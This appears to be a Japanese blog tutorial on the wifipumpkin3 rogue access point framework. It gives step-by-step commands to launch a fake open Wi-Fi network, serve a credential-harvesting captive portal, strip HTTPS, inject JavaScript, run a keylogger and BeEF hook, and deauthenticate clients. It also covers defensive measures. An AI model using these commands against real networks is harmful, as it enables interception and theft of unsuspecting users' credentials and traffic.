wifipumpkin3入門:強力なRogue APフレームワークの使い方

セキュリティツール

wifipumpkin3は、Pythonで書かれた強力なRogue AP(偽アクセスポイント)攻撃フレームワークです。セキュリティ研究者、レッドチーム、リバースエンジニアが、中間者攻撃(Man-in-the-Middle, MitM)を実行するための無線ネットワークを構築することを可能にします。 このツールは多機能であり、様々な攻撃シナリオに対応できます。本記事では、wifipumpkin3の基本的な使い方から、いくつかの応用的な機能までを解説します。😎

注意: wifipumpkin3はセキュリティテストや教育目的でのみ使用してください。許可なく他人のネットワークに攻撃を仕掛けることは法律で禁止されており、重大な結果を招く可能性があります。自己責任において、倫理的な範囲で使用してください。

1. wifipumpkin3とは?

wifipumpkin3は、偽のWi-Fiアクセスポイントを作成し、そこに接続してきたユーザーの通信を傍受したり、改ざんしたりするためのツールキットです。主な機能は以下の通りです。

  • Rogue AP攻撃: 正規のアクセスポイントになりすました偽のAPを作成します。
  • 中間者攻撃 (MitM): ユーザーとインターネットの間に割り込み、通信を盗聴・改ざんします。
  • 認証情報収集: 偽のログインページ(キャプティブポータル)を表示し、IDやパスワードを盗み取ります。
  • 通信傍受・改ざん: HTTP/HTTPSトラフィックを解析し、内容を書き換えたり、スクリプトを注入したりします。
  • Deauthentication攻撃: ターゲットデバイスを正規のAPから強制的に切断させ、偽APへの接続を促します。
  • DNSスプーフィング: DNS応答を偽装し、ユーザーを偽サイトへ誘導します。
  • プラグインシステム: 豊富なプラグインにより機能を拡張できます。(例:Beef連携、フィッシングテンプレート)
  • ネットワークスキャン: 周囲のWi-Fiネットワークをスキャンします。
  • その他: Phishkin3 (MFAフィッシング対応), EvilQR3 (QRコードフィッシング) など、高度な攻撃モジュールも含まれます。

これらの機能を組み合わせることで、様々なシナリオでのペネトレーションテストやセキュリティ監査が可能になります。

2. インストールと要件

システム要件

wifipumpkin3を実行するには、以下の要件を満たす環境が必要です。

  • OS: Linux (Debian系、特にKali LinuxやUbuntu 18.04 LTSなどが推奨されます)
  • Python: 3.8以降 (ドキュメントによっては3.7と記載されている場合もありますが、新しいバージョンが推奨されます)
  • Wi-Fiアダプター: アクセスポイント(AP)モードに対応したものが必要です。全てのWi-FiアダプターがAPモードをサポートしているわけではないため、確認が必要です。
  • 非対応OS: WindowsおよびmacOSは公式にはサポートされていません (2024年1月時点)。Docker版での利用は可能かもしれませんが、テストは十分ではないようです。

依存関係

wifipumpkin3は多くの外部ツールやライブラリに依存しています。主要なものとしては以下が挙げられます。

  • hostapd
  • iptables
  • iw
  • net-tools
  • wireless-tools
  • Pythonライブラリ (例: Flask, Scapy, Netifaces, dnslib, PyQt5 など多数)

これらの依存関係は、インストールプロセス中に自動的に解決されることが多いですが、手動でのインストールが必要になる場合もあります。

インストール方法

インストール方法はいくつかあります。

Kali Linux (バージョン2022.2以降) では、aptコマンドで簡単にインストールできます。これが最も推奨される方法です。

sudo apt update
sudo apt install wifipumpkin3

依存関係も自動的にインストールされます。

Kali Linux以外や、最新版を試したい場合は、GitHubリポジトリから直接インストールします。

1. 必要なシステムパッケージをインストールします。

sudo apt update
# Pythonのバージョンは環境に合わせて調整してください (例: python3.8-dev)
sudo apt install python3.8-dev libssl-dev libffi-dev build-essential python3.8

2. GitHubリポジトリをクローンします。

git clone https://github.com/P0cL4bs/wifipumpkin3.git
cd wifipumpkin3

3. インストールを実行します。

sudo make install
# または
# sudo python3 setup.py install

注意 (Ubuntu 18.04など): `systemd-resolved` がポート53を使用しているためにエラーが発生することがあります。その場合は、以下の手順で `systemd-resolved` を停止し、設定を変更する必要があります。

sudo systemctl stop systemd-resolved
sudo nano /etc/systemd/resolved.conf
# [Resolve] セクションに以下を追記または変更
# DNS=8.8.8.8 # 例: Google Public DNS
# FallbackDNS=8.8.4.4
# DNSStubListener=no
sudo ln -sf /run/systemd/resolve/resolv.conf /etc/resolv.conf

Dockerコンテナ内でwifipumpkin3を実行することも可能です。これにより、ホストOSへの影響を最小限に抑えられます。

git clone https://github.com/P0cL4bs/wifipumpkin3.git
cd wifipumpkin3
sudo docker build -t "wifipumpkin3" .
# 実行 (例)
sudo docker run -it --network=host --privileged wifipumpkin3

Docker Hubのイメージを利用する方法もあります(公式提供かは要確認)。

3. 基本的な使い方 (Rogue APの起動)

wifipumpkin3の操作は、Metasploit Frameworkに似たコマンドラインインターフェース (CLI) で行います。

1. wifipumpkin3を起動します。通常、root権限が必要です。

sudo wp3
# または
# sudo wifipumpkin3

起動すると、`wp3 >` のようなプロンプトが表示されます。

2. ヘルプを表示して利用可能なコマンドを確認します。

wp3 > help

3. アクセスポイントの設定を行います。

  • インターフェースの指定: APモードに対応した無線インターフェースを指定します。
  • SSIDの設定: 偽APのネットワーク名を設定します。
  • セキュリティの設定 (オプション): WPA2などのパスワードを設定することも可能です(オープンなAPが一般的)。
# 利用可能なネットワークインターフェースを確認 (別のターミナルで)
ip addr

# wifipumpkin3コンソールでインターフェースを設定 (例: wlan0)
wp3 > set interface wlan0

# SSIDを設定 (例: Free_WiFi)
wp3 > set ssid Free_WiFi

# 現在のAP設定を確認
wp3 > ap

ap コマンドで現在の設定状況を確認できます。set <パラメータ名> <値> 形式で様々なパラメータ(チャネル、セキュリティなど)を設定できます。

4. プロキシを選択します(オプション)。

wifipumpkin3は様々なプロキシモジュールを使って、通過するトラフィックを処理します。例えば、captiveflask はキャプティブポータル(ログインページ)を表示し、pumpkinproxy は通信内容の傍受や改ざん(スクリプト注入など)を行います。

# 利用可能なプロキシを表示
wp3 > proxies

# 使用するプロキシを設定 (例: captiveflask)
wp3 > set proxy captiveflask

# プロキシのオプションを設定 (例: captiveflaskのテンプレートをDarkLoginにする)
# プロキシによってオプションは異なります。proxiesコマンドで詳細を確認できます。
wp3 > set captiveflask.template DarkLogin true

# 再度プロキシ設定を確認
wp3 > proxies

5. アクセスポイントを開始します。

wp3 > start

これで、指定したSSIDの偽アクセスポイントが起動します。周囲のデバイスからこのネットワークが見えるようになり、接続を試みるユーザーが現れる可能性があります。 接続があると、コンソールにログが表示されます。選択したプロキシによっては、キャプティブポータルが表示されたり、通信内容が表示されたりします。

6. アクセスポイントを停止します。

wp3 > stop

7. wifipumpkin3を終了します。

wp3 > exit

4. 主要なコマンドと機能

wifipumpkin3には多くのコマンドがありますが、主要なものをいくつか紹介します。

コマンド 説明 使用例
help 利用可能なコマンドの一覧と簡単な説明を表示します。 wp3 > help
ap 現在のアクセスポイントの設定を表示します。 wp3 > ap
set <パラメータ> <値> 指定したパラメータの値を設定します。AP設定 (interface, ssid, channel, security, password など) や、プロキシ/プラグインのオプション設定に使用します。 wp3 > set ssid My_Fake_AP
wp3 > set channel 6
wp3 > set pumpkinproxy.sslstrip true
start 設定に基づいてアクセスポイントを開始します。 wp3 > start
stop 実行中のアクセスポイントを停止します。 wp3 > stop
proxies 利用可能なプロキシモジュールとその状態(有効/無効)、設定可能なオプションを表示します。 wp3 > proxies
set proxy <プロキシ名> 指定したプロキシを有効化します。他のプロキシは自動的に無効化されます。 wp3 > set proxy pumpkinproxy
plugins 利用可能なプラグインとその状態(有効/無効)を表示します。プラグインはMitM攻撃中に特定のタスク(キーロギング、画像キャプチャなど)を実行します。 wp3 > plugins
set plugin.<プラグイン名> <true|false> 指定したプラグインを有効または無効にします。複数のプラグインを同時に有効化できます。 wp3 > set plugin.keylogger true
show 接続中のクライアント情報などを表示します。 wp3 > show
ignore <パラメータ> <値> 特定のクライアント (MACアドレスなど) からのアクティビティを無視するように設定します。 wp3 > ignore mac AA:BB:CC:DD:EE:FF
clients アクセスポイントに接続しているクライアントのリストを表示します。 wp3 > clients
deauth <ターゲットMAC> <BSSID> Deauthentication攻撃を実行し、指定したクライアントを指定したAPから切断させます。(別途モジュールが必要な場合があります) wp3 > deauth 11:22:33:44:55:66 FF:EE:DD:CC:BB:AA
exit wifipumpkin3を終了します。 wp3 > exit

5. プロキシとプラグイン

wifipumpkin3の強力な機能の多くは、プロキシとプラグインによって提供されます。

プロキシ

プロキシは、クライアントとインターネット間の通信を中継し、処理するコアコンポーネントです。一度に有効にできるプロキシは通常1つです。

  • captiveflask: キャプティブポータル(偽のログインページ)を提供します。様々なテンプレートが用意されており、認証情報を収集する目的でよく使われます。収集した情報はコンソールに表示されます。カスタムテンプレートを作成することも可能です。
  • pumpkinproxy: HTTP/HTTPSトラフィックを傍受・改ざんするための汎用プロキシです。SSLStrip/SSLStrip+ と連携してHTTPS通信をダウングレードしたり、HTMLコードやJavaScriptを注入したりする機能があります (例: set pumpkinproxy.html_inject true, set pumpkinproxy.js_inject 'alert("Injected!");')。BeEF (Browser Exploitation Framework) のフック用JavaScript (hook.js) を注入することも可能です。
  • phishkin3: キャプティブポータルを利用して、より高度なフィッシング攻撃(MFA対応など)を行うためのプロキシです。
  • sslstrip3: HTTPS通信をHTTPにダウングレードしようと試みるプロキシです。HSTS (HTTP Strict Transport Security) などにより、効果がない場合も多いです。
  • transparent: 単純にトラフィックを透過させるプロキシです。通信内容の改ざんなどは行いません。

各プロキシには設定可能なオプションがあります。proxies コマンドで確認し、set <プロキシ名>.<オプション名> <値> で設定します。

プラグイン

プラグインは、MitM攻撃中にバックグラウンドで動作し、特定の情報を収集したり、追加の攻撃を行ったりします。プロキシとは異なり、複数のプラグインを同時に有効にできます。

  • keylogger: ユーザーのキー入力を記録しようと試みます(JavaScriptインジェクションなどを利用)。
  • beef_hook: BeEFフレームワークのフック用スクリプトを注入します。別途BeEFサーバーが動作している必要があります。
  • image_capturer: HTTP通信から画像を抽出して表示します (driftnetのような機能)。
  • その他: DNS情報の監視、カスタムスクリプトの実行など、様々なプラグインが存在します。独自のプラグインを開発することも可能です。

プラグインは plugins コマンドで一覧表示・管理し、set plugin.<プラグイン名> <true|false> で有効/無効を切り替えます。

# 利用可能なプラグインを表示
wp3 > plugins

# keyloggerプラグインを有効化
wp3 > set plugin.keylogger true

# beef_hookプラグインを有効化 (BeEFサーバーのURLを指定する必要がある場合あり)
# 例: wp3 > set plugin.beef_hook.url http://192.168.1.100:3000/hook.js
wp3 > set plugin.beef_hook true

# 再度プラグインの状態を確認
wp3 > plugins

6. セキュリティ上の考慮事項と対策

wifipumpkin3は強力なツールですが、悪用されるリスクも伴います。Rogue AP攻撃から身を守るためには、以下の点に注意することが重要です。

  • 不審なWi-Fiネットワークに接続しない: 特にパスワードなしで接続できるオープンなネットワークや、よく知っているネットワーク名と酷似したSSID (例: “Starbucks_Free_WiFi” と “Starbucks Free WiFi”) には注意が必要です。
  • VPNを使用する: 公衆Wi-Fiを利用する際は、VPN (Virtual Private Network) を使用することで通信が暗号化され、盗聴のリスクを大幅に低減できます。
  • HTTPS接続を確認する: Webサイトにアクセスする際は、URLが `https://` で始まり、ブラウザのアドレスバーに鍵マークが表示されていることを確認します。ただし、SSLStripなどの攻撃によりHTTPSがHTTPにダウングレードされる可能性もあるため、絶対ではありません。
  • OSやブラウザを最新の状態に保つ: セキュリティパッチを適用し、ソフトウェアを最新の状態に保つことで、既知の脆弱性を悪用されるリスクを減らします。
  • 多要素認証 (MFA) を有効にする: 重要なサービスではMFAを設定することで、パスワードが漏洩した場合でも不正アクセスのリスクを低減できます。ただし、Phishkin3のようなツールはMFAを回避しようと試みるため、油断は禁物です。
  • 企業のWi-Fiセキュリティ: 企業環境では、WPA2/WPA3エンタープライズ認証 (802.1X/EAP) を使用し、クライアント証明書やRADIUSサーバーによる認証を行うことで、不正なAPへの接続を防ぐことができます。また、無線侵入検知/防御システム (WIDS/WIPS) の導入も有効です。

🔒 wifipumpkin3のようなツールが存在することを認識し、常に警戒心を持つことが、自身のセキュリティを守る上で最も重要です。

7. まとめ

wifipumpkin3は、Rogue AP攻撃やMitM攻撃を実施するための非常に強力で多機能なフレームワークです。インストールから基本的なAPの起動、プロキシやプラグインの活用まで、その使い方を理解することで、ネットワークセキュリティのテストや評価に役立てることができます。

ただし、その強力さゆえに、悪用される危険性も常に念頭に置く必要があります。ツールの使用は合法かつ倫理的な範囲に限定し、自身のスキル向上とセキュリティ意識の啓発に努めましょう。🛡️

より詳細な情報や最新のアップデートについては、公式ドキュメントやGitHubリポジトリを参照してください。

公式ドキュメント GitHubリポジトリ

コメント

タイトルとURLをコピーしました